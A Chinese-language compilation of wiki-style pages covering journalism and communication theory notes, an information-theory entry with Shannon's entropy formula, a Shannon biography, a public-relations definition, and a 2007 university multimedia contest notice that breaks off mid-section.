指在忠实地报道事实的基础上，通过对事实的适当选择与表述，巧妙的表达传播者的立场与观点的一种报道原则与报道方法\n\n用事实说话，成功的关键，不在于通过作者的直接议论，而是让经过精心选择的事实，运用事实的逻辑说服力，充分而含蓄地表现作者的倾向与观点，它表达的是无形的意见\n用事实说话，寓情理于事实，符合人们从新闻中了解事实的要求，以及新闻应以事实的信息沟通情况、达到信息交流与分享目的的基本特征，潜移默化地影响新闻收受者，更具说服力\n用事实说话，其表述不仅要巧妙展开事实，铺陈事实，而且更需发现与捕捉会说话的事实，即内含逻辑说服力的事实，三分写作七份采，让受传着自我了解作者的倾向\n用事实说话，是记者成熟的标志，在需要表明立场倾向的时候，能够拿出会说话的事实\n用事实说话，不是反对必要的议论与说理，而是事实胜于雄辩\n\n第2节 价值传递和新闻价值\n\n一．价值和价值传递\n价值：事物具有的积极作用\n政治经济学里，特指体现在商品里的社会必要劳动\n新闻的价值：传播者所提供的新闻信息对收受者信息缺乏的满足程度\n新闻信息的价值：由该信息（客观信息和主观信息）的各种信息价值总和构成\n新闻传播过程是一个价值观传递的过程\n新闻媒介在传递新闻信息的同时，也传递着各种价值观，传播者以各种方式散布着自己的价值取向以及对被报道事实的价值判断。这是对社会的价值教化即媒介的社会规范功能\n\n新闻传播中价值传递的实现，是收受者对传播者的价值观认同\n认识的第一主体传播者，和第二主体收受者，对认识客体——附着于新闻信息的价值观及其在编辑过程中的附加值的价值认同，是实现媒介社会行为规范功能，和使某些价值观占主导地位的重要途径。社会教化功能的实现，主要是通过新闻传播的价值传递完成的\n\n二．新闻价值和新闻价值观\n新闻价值：是指新闻事实满足社会需求的特殊要素的总和\n 是一种客观存在，是新闻所含事实本身所具有的价值要素\n\n新闻价值要素 收传者的需求：求新、求知、求近\n时新性 时间上是新近发生的。时距越小，新闻价值越大\n 新闻事实是人们求知的。求知度（无感知人数与总人数比）越大，价值越大\n重要性 新闻事实所包含的社会意义，即新闻事实同新闻受传者的利害关系\n 事实越重要，社会意义越大，新闻价值越大。由求近（利益接近）心理决定\n显著性 新闻事实的知名度，或新闻事实的显要度\n接近性 新闻事实同接受该事实信息的受传者在地理上和心理上的接近程度\n 地理：利害关系决定，地距同新闻价值成反比\n 心理：求知欲和好奇心所致，心理距离通信温价值成反比\n趣味性 新闻事实所具有的，调动新闻受传者共同兴趣，从而引起注意的有趣程度\n 趣味性越大，新闻价值越大\n 表现 新闻事实新鲜奇特，激起人们好奇心和新闻欲\n 新闻事实充满情趣，令人激动、感伤、可笑\n 新闻事实富有人情味，调动同情心，抨击庸俗情趣，推崇高尚情操\n\n新闻价值观 即新闻价值取向，是个人或团体判断新闻价值的主观标准\n主要受传播实践的制约、检验和纠正\n传播实践的核心是新闻的传播效果，即新闻公开传播后受传者的共同兴趣和关注程度。关注程度越强，关注面越广，新闻价值越大\n新闻敏感 识别、判断和捕捉具有新闻价值的事实的能力\n新闻的传播价值 指新闻传播之后，所实现的各种价值效应之和\n 大于新闻价值（最基本价值效应），还包含信息，宣传，审美，知识价值等\n\n新闻事实含有的客观要素：新闻价值，宣传价值，审美价值等，最主要的价值是新闻价值\n宣传价值 宣传事实中具有的宣传要素的总和，包括政治性，逻辑性，情感性要素等\n 新闻事实中包含的宣传价值要素越多，新闻传播价值中的宣传价值成分越多\n审美价值 指审美对象客观具有的能在一定程度上满足人审美需要、给人审美享受的价值\n宣传价值和审美价值，可以通过新闻和新闻媒介等载体而增值\n\n 第三节 符号和新闻信息符号\n一．符号：传播要素\n新闻传播的内容 客观信息-新近发生事实的报道\n主观信息-同事实相关的价值判断\n\n施拉姆-会聚关系：传播中构成的关系，意味着共享代表信息和导致一种彼此了解会聚到一起的符号\n\n符号 传播活动的要素\n 最重要的特点：对传播双方来说有相同理解的含义，这是符号发生传通作用的基础\n 符号只有具备了足够的共同含义，才能参与传播，才能代表传播中的各种实际内容\n其含义的确定性，来自人们生活经验的积累，来自反复传播活动中的不断观察与认同\n\n符号的特点 是信息的携带者，是信息载体，是传播的工具\n是约定俗成的，人赋予符号以含义\n其形成与意义上的联系完全是人为的，受个人生活经验和社会经历的影响\n相当数量的符号含义为受传者所理解，是传播得以进行的基础\n\n信号和符号的区别 符号：人们生活经验抽象的产物，为人类特有，属意义范畴的一部分\n 引起的是，关于事物的概念\n 实际运用中，具有功能性价值\n 符号是高级的、复杂的信息载体\n信号：物质存在的一部分\n 引起的是，与某事物是否存在有关的反映\n 实际运用中，是某种物理的或实体的存在\n 信号是低级的、简单的信息载体\n\n二．新闻信息符号\n符号语言 运用各种符号和标志来表达特定意义的语言形式，是人类传递信息的主要手段\n 广义包括：声音，语言，文字，图画，表情等\n 狭义单指：图画和实物标志\n\n新闻传播的符号 语言符号：口头语言——话语和书写语言——文字\n 非语言符号：除语言文字以外，可以通过感官触到的概念的总称\n可以加强，也可以否定语言符号传播的信息\n讯息 由一组信息符号组成的符号系列\n传播过程 编码－传播者对信息的处理过程 对象都是符号化的信息\n 译码－编码的逆过程，还原信息 \n 译码过程中应注意加强文本分析，可优化新闻传播的效果\n\n第4节 选择和新闻选择\n一．系统和自组织系统的选择\n系统：由相互联系、依赖、作用的事物或过程组成的，具有整体功能和综合作用的统一体\n自然系统 封闭式系统 \n人造系统 开放式系统 \n\n自组织系统：在一组事物或变量之间自动发生的，不需要以外的力量进行干预而形成的系统\n 能从无组织的无序状态中自动产生，并不断发展和完善自己的秩序\n\n新闻传播系统：在新闻传播规律支配下，由传播者为组织核心的自组织系统\n其组织化过程，是不断地从无序走向有序的自我完善的过程\n\n选择机制的存在和作用，是自组织系统自我维持与自我发展的动力，是自组织系统的生命线\n\n二．新闻选择的意义\n新闻选择：在特定的传播环境下，根据一定的价值取向对新闻事实、新闻作品的衡量与取舍\n 新闻选择实质上是对能构成新闻的事实的选择\n 作为第一把关人和实际操作者，新闻传播者的新闻选择是最重要和最主要的\n\n新闻选择的必要性和必然性\n数量：无穷尽的事实需要比照和取舍\n质量：传播者和决策者 以政治经济利益和文化价值取向作为选择依据\n 受传着 以自己特定的标准取舍\n媒介生存发展：新闻选择是其维护自身机制、安身立命的根本保证\n\n三．新闻传受双方的新闻选择\n传播者：选择即把关，传播者成为把关人\n 美-库尔特.卢因-受门人/把关人-用以说明传播者在新闻传播中的控制作用\n受传者：选择既满足，追求最巨大的传播通道与最广泛的选择领域，尽可能多的直接传播和尽可能少的多级传播，最少障碍与干扰的收受通道\n美-施拉姆-信息选择的或然率公式\n 报偿的保证 / 费力的程度 = 选择的或然率（概率）\n 启发：尽可能方便地使受传者获得最关心的传播内容，使他们获知新闻信息的欲望得到最大满足\n\n四．新闻选择的依据\n新闻传播者的素质和技巧的综合考量：正确实施新闻选择，不遗漏重要新闻信息，第一时间发表最新新闻信息，最大程度满足受传者的收受愿望，同时不违反法律、党纪传播者受到的制约
一、[[拟态环境]]（李普曼《公众舆论》）\n早在２０世纪２０年代，美国著名政论家李普曼就在其所著的《公众舆论》一书中，论及拟态环境问题。并首次使用“Ｐｓｅｕｄｏ－ｅｎｖｉｒｏｎｍｅｎｔ”一词。拟态环境有如下特点：一方面，拟态环境不是现实环境“镜子式”的摹写，不是“真”的客观环境，或多或少与现实环境存在偏离。另一方面，拟态环境并非与现实环境完全割裂，而是以现实环境为原始蓝本。李普曼认为，在大众传播极为发达的现代社会，人们的行为与三种意义上的“现实”发生着密切的联系：一是实际存在着的不以人的意志为转移的“客观现实”，二是传播媒介经过有选择地加工后提示的“象征性现实”（即拟态环境），三是存在于人们意识中的“关于外部世界的图像”，即“主观现实”。人们的“主观现实”是在他们对客观现实的认识的基础上形成的，而这种认识在很大程度上需要经过媒体搭建的“象征性现实”的中介。经过这种中介后形成的“主观现实”，已经不可能是对客观现实“镜子式”的反映，而是产生了一定的偏移，成为了一种“拟态”的现实。\n二、[[把关人]]（库尔特·[[卢因]]）\n“把关人”理论是由美国社会心理学家、传播学四大先驱之一的卢因率先提出的。他在《群体生活的渠道》（1947年）一文中，首先提出“把关”（gatekeeping）一词。他指出：“信息总是沿着含有门区的某些渠道流动，在那里，或是根据公正无私的规定，或是根据‘守门人’的个人意见，对信息或商品是否被允许进入渠道或继续在渠道里流动做出决定。”“信息传播网络中布满了把关人。” 他认为在群体传播过程式中，存在着一些把关人，只有符合群体规范或把关人价值标准的信息内容才能进入传播的渠道。1950年，传播学者怀特将社会学中的这个概念引入新闻传播，发现在大众传播的新闻报道中，传媒组织成为实际中的"把关人"，由他们对新闻信息进行取舍，决定哪些内容最后与受众见面。从此，新闻选择的"把关人"理论从人们的不自觉行为成为大众传媒组织的有意操作，在更大范围和程度上或明或暗的影响新闻实践。经怀特、麦克内利等众多学者的深入挖掘研究，最终成为传播学控制分析领域最具科学性的理论之一。\n\n三、传播效果的[[魔弹论]]和[[皮下注射论]]\n媒介本身被认为是根据媒介和媒介内容的控制者的意志，以强大的力量去形成舆论和信念、改变人们的生活习惯并指导人们的行为（Bauer and Bauer，1960）。核心观点，传播媒介拥有不可抵抗的强大力量，它们所传递的信息在受传者身上就像子弹击中躯体，药剂注入皮肤一样，可以引起直接速效的反应；它们能够左右人们的饿态度和意见，甚至直接支配他们的行为。对第一次世界大战中宣传心理战的效果研究则进一步促成了这样一种观点：媒介是万能的，可以随心所欲地影响受众，从而产生巨大的传播效果。在两次世界大战之间的几十年内，大众传媒如报刊、电影、广播等迅速发展并普及，对人们的日常生活产生了巨大的冲击力，人们普遍认为大众传播具有惊人的强大效果，传播研究者认为大众媒介具有"魔弹式"的威力。代表这种观点的理论被称为"枪弹论"、"魔弹论"或"皮下注射论"。这种观点产生的理论背景是当时西方盛行的本能心理学和大众社会理论。本能心理学认为，人的行为正如动物的遗传本能反应一样，是受"刺激—反应"机制主导的，施以某种特定的刺激就必然会引起某种特定的反应。大众社会理论是在孔德、斯宾塞的社会有机体思想和韦伯等有关工业化社会理论的基础上形成的。他们认为，大众社会中的个人，在心理上陷于孤立，对媒介的依赖性很强，因而导致媒介对社会的影响力很大。\n 有关这一理论的研究大都是建立在观察基础上的结论，并未经过严密的科学调查与验证。这种理论过分夸大了大众媒介的影响力，同时也忽视了受众对大众传播的自主权的前提。受众是具有高度自觉的主人，他们对信息不仅有所选择，而且还会自行决定取舍。此外，这一理论还忽视了影响传播效果的各种社会因素。传播效果与当时当地的社会环境、媒介环境、群体心态、政治军事经济及文化背景密切相关。不能把传播效果放到"真空"中去考察。\n除此之外，欧洲国家的广告客户、内战时期的独裁国家以及俄国新革命制度对媒介的利用都证实了媒介万能这样一种观点。人们已经倾向于认为媒介具有非常强大的力量。同时期盛行的本能心理学和社会学理论也从另一个角度支持了媒介万能的说法。实际上，这种效果观是很片面的，是“不分时间和地点，不讲环境条件和对象，将传播效果绝对化和神化的错误观点…”\n\n四、[[两级传播论]]（[[拉扎斯菲尔德的]] 《人民的选择》）\n传播学研究的先驱者之一拉扎斯菲尔德（Paul F.Lazarsfeld）于1940年主持的一项研究发现，在总统选举中选民们政治倾向的改变很少直接受大众传媒的影响，人们之间直接的面对面交流似乎对其政治态度的形成和转变更为关键。通常有关的信息和想法都是首先从某一个信息源（如某一个候选人）那里通过大众媒介达到所谓的“意见领袖（Opinion leader）”那里；然后再通过意见领袖把信息传播到普通民众那里。前者作为第一个阶段，主要是信息传达的过程，后者作为第二阶段，则主要是人际影响的扩散。这就是著名的两级传播假设（two—Step flowhyPothesis）。它使人们认识到大众媒介渠道和人际传播渠道在人们信息获取和决策（态度形成和转变以及具体的行动）中的不同角色和作用。在创新的传播扩散中，两级传播模型具有重要的意义。受众对创新的采用由以下阶段组成：认知，说服，决策，使用和确认。在两级传播模式的诠释下，大众传播在人们的认知阶段具有重要作用；而在说服和决策阶段，人际传播的影响更显著。因此，尽管在技术传播时，受众同时既处身于信息传播的覆盖中，也处身于人际传播的扩散网络中，但两者对于受众采用新技术的影响是不同的。既有前述采用过程阶段上的不同，也有更为复杂的传播行为差别。\n五、[[议题设置]]\n答：议题设置理论（the agenda-setting theory），它是由美国传播学者麦克姆斯、唐纳德·肖最早提出。这种理论认为：大众传播只要对某些问题予以重视，为公众安排议事日程，那么就能影响公众舆论。议程设置功能，传媒的新闻报道和信息传达活动以赋予各种议题不同程度的显著性的方式，影响着人们的对周围世界的大事及重要性的判断。特点：1）传播效果分为认知、态度和行动三个层面，议程设置功能假说是这个过程的最初阶段，即认知层面的阶段。2）议程设置功能考察的整体的大众传播具有较长时间跨度的一系列报道活动所产生的中长期的、综合的、宏观的社会效果。3）议程设置功能暗示了传播媒介是从事“环境再构成作业”的机构。议程设置的“0/1”效果、“0/1/2”和“0/1/2/n“三个传播效果，“0/1”效果指的是大众传媒报道或不报道某个“议题”，会影响到公众对少数议题的感知。“0/1/2”效果指的是媒介对少数议题的突出强调，会引起公众对这些议题的突出重视。“0/1/2/、、/n”效果指的是传媒对一系列议题按照一定的优先次序所给予的不同程度的报道，会影响公众对这些议题的重要性顺序所做的判断。\n\n六、[[沉默的螺旋]] （诺依曼）\n “沉默螺旋”概念最早见于1974年在《传播学刊》上发表的一篇论文。这个假说由三个命题构成：①个人意见的表明是一个社会心理过程。②意见的表明和“沉默”的扩散是一个螺旋式的社会传播过程 ③大众传播通过营造“意见环境”来影响和制约舆论。 诺依曼通过“沉默的螺旋”理论，重新提示了一种“强有力”的大众传播观： ①舆论的形成是大众传播、人际传播和人们对“意见环境”的认知心理三者相互作用的结果。 ②经大众传媒强调提示的意见由于具有公开性和传播的广泛性，容易被当作“多数”或“优势”意见所认知。 ③这种环境认知所带来的压力或安全感，会引起人际接触中的“劣势意见的沉默”和“优势意见的大声疾呼”的螺旋式扩展过程，并导致社会生活中压倒优势的“多数意见”——舆论的诞生。\n 不足：①假说中所强调的“对社会孤立的恐惧”不应是一个不变的常量，而应是一个受条件制约的变量。\n ②“多数意见”的压力以及对它的抵制力，按照问题的类型和性质应有程度上的不同。\n ③“多数意见”社会压力的强弱受到社会传统、文化以及社会发展阶段的制约。\n ④由于它在说明舆论的形成过程之际极力强调“多数”或“优势”意见的压力，以至到忽略了舆论的变化过程和“少数派”的作用。（要注意“中坚分子”的作用）\n ■ “沉默的螺旋”假说的重要意义：\n ①它把对舆论形成过程的考察从现象论的描述引向了社会心理分析的领域，强调了社会心理机制在这个过程中的作用。\n ②它强调了大众传播对舆论的强大影响，并\n正确地指出了这种影响来自于大众传播营造“意见环境”的巨大能力。\n ■ “沉默的螺旋”理论的特点：\n ① 这个假说中的“舆论”与历来的舆论概念不同。诺依曼认为只有那些“被认为是多数人共有的”，能够在公开场合公开表明的意见才能成为舆论。此理论强调舆论的社会控制功能，诺依曼在“舆论——我们的社会皮肤”中说明：舆论是个人感知社会变化、调整自己行为的“皮肤”；又是维持社会整合方面起着重要作用，像作为容器的皮肤一样，防止由于意见过度分裂而引起社会解体。\n ②从传播效果研究的角度而言，“沉默的螺旋”理论强调大众传播具有强大的社会效果和影响。\n “舆论——我们的社会皮肤”这个观点强调了舆论的社会控制功能，它是由诺伊曼提出的。在她看来，舆论在双重意义上是“我们的社会皮肤”：它是个人感知社会“意见气候”的变化、调整自己的环境适应行为的“皮肤”；同时，它又在维持社会整合方面起着重要作用，就像作为“容器”的皮肤一样，防止由于意见过度分裂而引起社会解体。\n “沉默的螺旋”理论的发展和意义 “沉默的螺旋”理论是传播效果理论重新回归到强大效果论的代表理论之一，虽然到目前为止对于这一假说的普遍性尚未达成一致的看法，但正如麦奎尔所指出，“沉默的螺旋”所描述的意见形成的过程，在一定条件几乎必然出现。“沉默的螺旋”理论强调的是大众传播媒介所具有强大的社会效果，但它更能体现的似乎是在人际传播影响下社会舆论的形成过程。华盛顿州立大学的Patricia May、David Domke、Keith Stamm三位教授在针对“沉默的螺旋”理论进行调查研究后撰文指出：个体是否愿意发表真实的观点与“微观意见气候”（micro-climate），即家人和朋友这个舆论圈的联系最为密切。个体因为害怕在这个群体范围内由于发表不同意见被孤立而保持沉默或者附和的可能性更高。个人意见主要是保持与这个群体范围内意见的一致而不是和整个社会意见环境的一致。 此外，多位学者也对该理论的重要前提——个人对“社会孤立的恐惧”而导致趋同行为提出了不同的观点和意见。虽然“沉默的螺旋”理论在很多方面还有待进一步的考查和研究，但它在效果研究中的意义也是十分明显的：该理论集中讨论的是舆论形成问题，它一方面强调了社会心理机制在这个过程中的作用，同时也指出了大众传播媒介对舆论的强大作用。\n\n七、[[培养分析或数化分析]]（美国学者G·格伯纳）\n等在实证考察的基础上提出“培养分析”理论，他们认为，在现代社会，大众传媒提示的“象征性现实”对人们认识和理解现实世界发挥着巨大影响，由于大众传媒的某些倾向性，人们心中描绘的“主观现实”与实际存在的客观现实之间出现很大的偏差。同时，这种影响不是短期的，而是一个长期的、潜移默化的“培养”过程它在不知不觉中制约人们的现实观。格伯纳认为，大众传播不仅是现代社会的“故事讲解员”，而且是缓和社会矛盾冲突的“熔炉”，是维护现存制度的“文化武器”。培养分析一方面肯定“共识”是社会作为一个统一整体存在的前提，强调大众传播中形成“共识”过程中的巨大作用；另一方面又指出大众传媒所提供的“象征性现实”与客观现实之间的距离，以及传媒的一些倾向所带来的社会后果。培养分析尤其强调电视媒介在形成“共识”中的作用。\n培养分析的核心观点：传播内容具有特定的价值和意识形态倾向，这些倾向通常不是以说教而是以“报道事实”、“提供娱乐”的形式传达给受众的；它们形成人们的现实观、社会观于潜移默化之中。\n社会要作为一个统一的整体存在和发展下去，就需要社会成员对给社会有一种”共识“，也就是客观存在的事物，重要的事物以及社会的各种事物、各种部分及其相互关系要有大体一致或接近的认识。\n八、[[媒介即讯息]]\n媒介即讯息。就是说，从长远的角度看，真正有意义的讯息并不是各个时代的媒介所提示给人们的内容，而是媒介本身。换句话说，人类只有在拥有了某种媒介之后才有可能从事与之相适应的传播和其他社会活动。媒介最重要的作用就是“影响了我们理解和思考的习惯”（沃纳·赛佛林，小詹姆斯·坦卡德，2000）。因此，对于社会来说，真正有意义、有价值的“讯息”不是各个时代的媒体所传播的内容，而是这个时代所使用的传播工具的性质、它所开创的可能性以及带来的社会变革（郭庆光，1999）。《理解媒介》是传播学研究领域最有影响的媒介研究学者、加拿大多伦多大学教授麦克卢汉的成名作。在这本书里，作者首创了当今习以为常的术语“媒介”，提出了今天的媒介研究者津津乐道的概念“地球村”、“信息时代”，阐述了“媒介即信息”、“媒介是人的延伸”、“热媒介与冷媒介”的学术观点。\n麦克卢汉的理论带有很大的极端性和片面性。主要表现在： \n （1）在他的理论中，媒介技术是社会变革和发展惟一的决定性因素，这就忽略了生产关系和社会关系等各种复杂的社会因素的作用。\n （2）在过度重视技术的同时，没能充分认识到人的主体性和能动性。\n （3）其理论立足于媒介工具对中枢感觉系统的技术性影响，并试图以此来解释人类的全部行为，也是非常片面的。\n九、[[权力的代言人]]\n阿特休尔在《权力的媒介》一书中所言，新闻媒介具有天然的政治属性，是统治阶级用以维护现存制度的工具，是实行社会控制的手段。此书对自由主义理论与社会责任学说的主要区别作了评断。即：自由主义理论主张新闻媒介应完全自由，不受任何约束，而社会责任论则认识到不受限制的自由会带来危险。\n十、[[伊尼斯]]与[[波兹曼]]的媒介哲学\n“帝国与传播”，这是加拿大传播学派开山祖师哈罗德·英尼斯一部著作的名字。何谓帝国？何谓传播？英尼斯自己并没有下定义。译者何道宽解释道：“他研究的传播，是媒介的发轫、流布、变异、互动、特质、偏向”、“他笔下的帝国有两个意思，一是作为政体的大型国家，二是泛指大型的政治组织”。[2]在英尼斯看来，传播媒介可以分为倚重时间的媒介和倚重空间的媒介，帝国也可以分为倚重时间的帝国和倚重空间的帝国，即宗教帝国和政治帝国。倚重时间的媒介，如羊皮纸、黏土和石头，性质耐久，有利于宗教的传承、维持宗教帝国的统治权威；倚重空间的媒介，如莎草纸、电报和广播，质地轻便，有利于政治帝国的空间扩张和远距离控制，知识和权力的垄断在媒介与帝国的关系中发挥着桥梁的作用。英尼斯认为一个帝国成功的关键是在传播媒介和帝国组织的时间偏向和空间偏向间保持平衡，他理想中的帝国是希腊帝国，因为希腊的口头传统比较好地解决了时空的偏向问题，而印刷时代西方文明过于倚重空间和书面传统的状况令他对感到惋惜和担忧。\n\n英尼斯他心目中的传播实质上有两个意思，一是时空的偏向性，二是媒介形态的演化，前者是他的理论基础，因而论述比较详细，后者并非他的主要观点，却是一条贯穿整套理论的线索。麦克卢汉接受并发挥了英尼斯关于时空偏向性的思想，提出了“声觉空间”和“视觉空间”的新概念。麦克卢汉的一个不同之处在于他进而把焦点从人体外在的时空转向了人身上的感官知觉，这就是著名的“媒介即人体的延伸”的观点。在媒介形态演化方面，麦克卢汉提出了媒介四定律或四效应——放大、过时、再现和逆转，这被誉为他的天鹅绝唱。加拿大学派第三代旗手保罗·莱文森在媒介形态演化理论上做出了新的贡献，他的“人性化趋势”理论强调了人的主动性，认为人能够主动去选择和改进媒介，一切媒介都是“补偿性媒介”，能补救过去媒介的不足，使媒介人性化。按照莱文森的思路，不但麦克卢汉可以发展为“数字麦克卢汉”，而且英尼斯也可以发展为“数字英尼斯”：数字时代的网络媒体在空间偏向上不但能把“地球村”完全连为一体，而且开拓了一个崭新的“赛博空间”；而在时间偏向方面，网络媒体的超时空特性打破了传统的线性时空观，虚拟社区中的人们可以在同一场景中非同步对话，从而创造了一种新的“口语传统”。从此来看，加拿大学派对媒介技术确有深入的研究，英尼斯甚至可以被看作是传播学媒介分析的先驱。\n英尼斯认为，文明的兴起、衰落和占支配地位的传播媒介息息相关；一切文明都是靠对空间领域和时间跨度的控制而存在的，与之相关的是，任何传播媒介不是具有长久保存的倾向性，便于对时间跨度的控制，便是具有远距离运送的倾向性，便于对空间领域的控制，二者必居其一，他把前者称为“偏倚时间的”媒介，把后者称为 “偏倚空间的”媒介。\n尼尔·波兹曼在《童年的消逝》一书中所阐述的主题。波兹曼认为，后工业化时代的文化正驱使我们倒退到一个与蒙昧的中世纪没有多少差别的时代，因为在文字(字母)出现以前，儿童与成人都是依靠同一种传播媒介——口口相传来获取知识。当时虽然也有儿童，但并不存在童年这个概念。波兹曼在书中旁征博引从童年这个概念的起源开始，论证了这个概念的出现不过是近几百年的事。印刷机的发明使原来把持在僧侣教士、抄书匠手中的秘密流传入贫民百姓之中。这时，识字能力便成为区分成人和儿童的最强有力的分水岭。成人因为有识字能力，所以能够获得各种知识。而儿童则需要到学校学习认字、语法，并在成人认为适当的时候、以适当的形式获取知识。波兹曼引用了他自己小时候如何费尽周折搞到禁书《北回归线》，却终因无法想象某些细节而不能完全理解书中内容的例子，抨击如今的电视媒介敞开了成人小心保守的秘密，如性、疾病、死亡等等，将儿童不曾提出的问题的答案一股脑地灌输给他们。其结果是如今的儿童早早就沾染上了成人的悲观怀疑、漠然和傲慢的习气。
信息论是运用概率论与数理统计的方法研究信息、信息熵、通信系统、数据传输、密码学、数据压缩等问题的应用数学学科。\n\n信息论将信息的传递作为一种统计现象来考虑，给出了估算通信信道容量的方法。信息传输和信息压缩是信息论研究中的两大领域。这两个方面又由信息传输定理、信源－信道隔离定理相互联系。\n\n[[克劳德·艾尔伍德·香农]]被称为是“信息论之父”。人们通常将香农于1948年10月发表于《贝尔系统技术学报》上的论文《A Mathematical Theory of Communication》（通信的数学理论）作为现代信息论研究的开端。这一文章部分基于哈里·奈奎斯特和拉尔夫·哈特利先前的成果。在该文中，香农给出了信息熵（以下简称为“熵”）的定义：\n\n H = - ∑ pilogpi\n i \n\n这一定义可以用来推算传递经二进制编码后的原信息所需的信道带宽。熵度量的是消息中所含的信息量，其中去除了由消息的固有结构所决定的部分，比如，语言结构的冗余性以及语言中字母、词的使用频度等统计特性。\n\n信息论中熵的概念与物理学中的热力学熵有着紧密的联系。玻耳兹曼与吉布斯在统计物理学中对熵做了很多的工作。信息论中的熵也正是受之启发。\n\n互信息(Mutual Information)是另一有用的信息度量，它是指两个事件集合之间的相关性。两个事件X和Y的互信息定义为：\n\n I(X,Y) = H(X) + H(Y) - H(X,Y)\n\n其中 H(X,Y) 是联合熵(Joint Entropy)，其定义为：\n\n H(X,Y) = - ∑ p(x,y)logp(x,y)\n x,y \n\n互信息与多元对数似然比检验以及皮尔森χ2校验有着密切的联系。
克劳德·艾尔伍德·香农（Claude Elwood Shannon，1916年4月30日—2001年2月26日），美国数学家、[[信息论]]的创始人。密西根大学学士,麻省理工学院博士。\n\n!获奖与荣誉\n*美国Alfred Noble协会美国工程师奖 1940年\n*Morris Liebmann 无线电工程师协会Memorial奖章 1949年\n*耶鲁大学 (首席科学家) 1954年\n*Stuart Ballantine弗兰克林协会奖章 1955年\n*研究合作奖 1956年\n*密歇根大学, 荣誉博士 1961年\n*莱斯大学 荣誉奖章1962年\n*普林斯顿大学, 荣誉博士 1962年 \n*Marvin J. Kelly Award 1962年\n*爱丁堡大学 荣誉博士 1964年\n*匹兹堡大学 荣誉博士 1964年\n*IEEE|电子电气工程师协会 荣誉奖章 1966年\n*美国国家科学奖章 1966年, 由前总统Lyndon B. 约翰逊颁发\n*Golden Plate Award 1967年\n*美国西北大学, 荣誉博士 1970年\n*Harvey Prize, the Technion of Haifa, 以色列 1972年\n*牛津大学 荣誉博士 1978年\n*Joseph Jacquard奖 1978年\n*Harold Pender奖 1978年\n*东英格伦大学, 荣誉博士 1982年\n*卡耐基-梅隆大学 荣誉博士 1984年\n*美国声频技术协会 金奖 1985年\n*Kyoto Prize 1985年\n*塔夫斯大学 荣誉博士 1987年\n*宾西法尼亚大学 荣誉博士 1991年\n*Eduard Rhein Prize 1991年\n\n!相关文献\n* 克劳德·艾尔伍德·香农: 《通讯的数学理论》 (The mathematical theory of communication) 贝尔系统技术月刊l,27卷,379-423,623-656页, 1948年7月,10月\n* 克劳德·艾尔伍德·香农和Warren Weaver:《通讯的数学理论》 伊利诺斯大学出版社, Urbana, 伊利诺斯,1949年. ISBN 0252725484\n\n!外部链接\n*http://www.lucent.com/minds/infotheory/who.html 香农的生活和生涯\n*《保密系统通讯理论》（''Communication Theory of Secrecy Systems''）：http://www3.edgenet.net/dcowley/docs.html Scanned JPEG images，http://netlab.cs.ucla.edu/wiki/files/shannon1949.pdf PDF，http://netlab.cs.ucla.edu/cgi-bin/usemod10/wiki.cgi?Shannon PDF site.\n*http://cm.bell-labs.com/cm/ms/what/shannonday/paper.html ''通讯数学论''\n*http://web.mit.edu/newsoffice/nr/2001/shannon.html 麻省理工讣告 \n*http://www.exp-math.uni-essen.de/~immink/pdf/levensbericht-shannon.pdf Obituary Royal Netherlands Academy of Sciences (in Dutch)\n*http://www.engin.umich.edu/150th/alum-legends/shannon.html 在密歇根大学的回顾\n*http://www.nightgarden.com/infosci.htm Notes on Computer-Generated Text\n*http://www.nightgarden.com/shannon.htm 香农的贡献\n*http://www2.bc.edu/~lewbel/Shannon.html 香农的判别理论和判别机器人\n*http://www.pi.infn.it/%7Ecarosi/chess/shannon.txt 香农的关于计算机下象棋的论文，文本\n*http://www.ascotti.org/programming/chess/Shannon%20-%20Programming%20a%20computer%20for%20playing%20chess.pdf 香农的关于计算机下象棋的论文,PDF\n*http://www.dcc.uchile.cl/~cgutierr/cursos/IA/shannon.txt 香农的关于计算机下象棋的论文，文本, 原稿\n* http://www.sytelecom.net/agora/read22.htm 信息论的奠基人—香农
\n公共关系(public relations; PR)，简称公关，主要从事组织机构信息传播，关系协调与形象管理事务的咨询、策划、实施和服务的管理职能。\n\n在中华人民共和国教育部国语辞典中，对公共关系做出的解释为政府机关或企业组织等机构，为争取社会了解与支持，持续接触相关人士并进行计划性活动，所建立的互动关系。而公关人员的主要工作内容就是在不同的组织之间做沟通协调的工作。\n\n在市场营销学体系中，公关关系是企业机构唯一一项用来建立公众信任度的工具。\n\n由于社会上的分工越来越细，公关人员的重要性愈显增加，许多大专院校纷纷成立公共关系学系，为社会培养不同领域的公关人才。\n\n公关行业的性质使其不可避免地与媒体之间具有密切联系。目前，中国大陆公关行业的企业主要集中分布在北京、上海、广州三地，而成都、武汉等城市也有分布。
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为提高学院学生的多媒体设计与制作水平，培养大学生的创新意识和创新能力，同时，选拔优秀选手参加今年第六届浙江省大学生多媒体作品设计竞赛，特举办 2007“西博杯”浙江大学城市学院多媒体竞赛，请各分院积极响应、积极配合，做好相关组织工作，同时，欢迎广大同学踊跃参赛。具体比赛事项通知如下：\n 一、组织机构\n 主办单位：浙江大学城市学院教务部\n 支持单位：杭州市发展会展业协调办公室\n 协办单位：浙江大学城市学院广告传播研究中心\n 浙江大学城市学院会展研究中心\n 承办单位：浙江大学城市学院传媒与人文艺术学院\n 浙江大学城市学院计算机与计算科学学院\n 二、参赛对象\n 浙江大学城市学院正式在册学生个人或自愿组队（可跨院系）参赛，每队不得多于三人。\n 三、作品分类及主题\n 1.参赛作品分类：\n （1）平面作品；（2）动漫作品；（3）课件作品；（4）网站作品；（5）DV作品。\n 2.参赛主题：\n （1）杭州城市主题：\n a.杭州市会展业协会标识设计 b.《杭州会展》期刊封面设计\n c.2007第九届西博会形象宣传海报 d.西博会形象FLASH\n e.07女足世界杯杭州志愿者标识设计 f.精彩女足，绿色奥运公交车体广告\n （2）校园主题：\n a. 学院新闻中心标识设计 b .实践创新、学风建设、校园文化等方向任选\n （3）自定主题\n 四、参赛要求\n 1.参赛作品内容需健康向上，有时代气息，体现创新意识。\n 2.作品必须为原创作品，不侵犯任何第三者的知识产权、名誉权或隐私权。\n 3.6月13日前将参赛作品以光盘形式（DV作品需有DV带的原创内容）按类别提交至文科2号楼三楼“西博杯城院多媒体作品设计竞赛”信箱，光盘内附参赛报名表(附件一，下载填写以电子文档与作品一起提交)。\n 联系人：骆小欢老师，88011563\n 4. 各类作品具体要求见附件二。\n 五、奖励\n 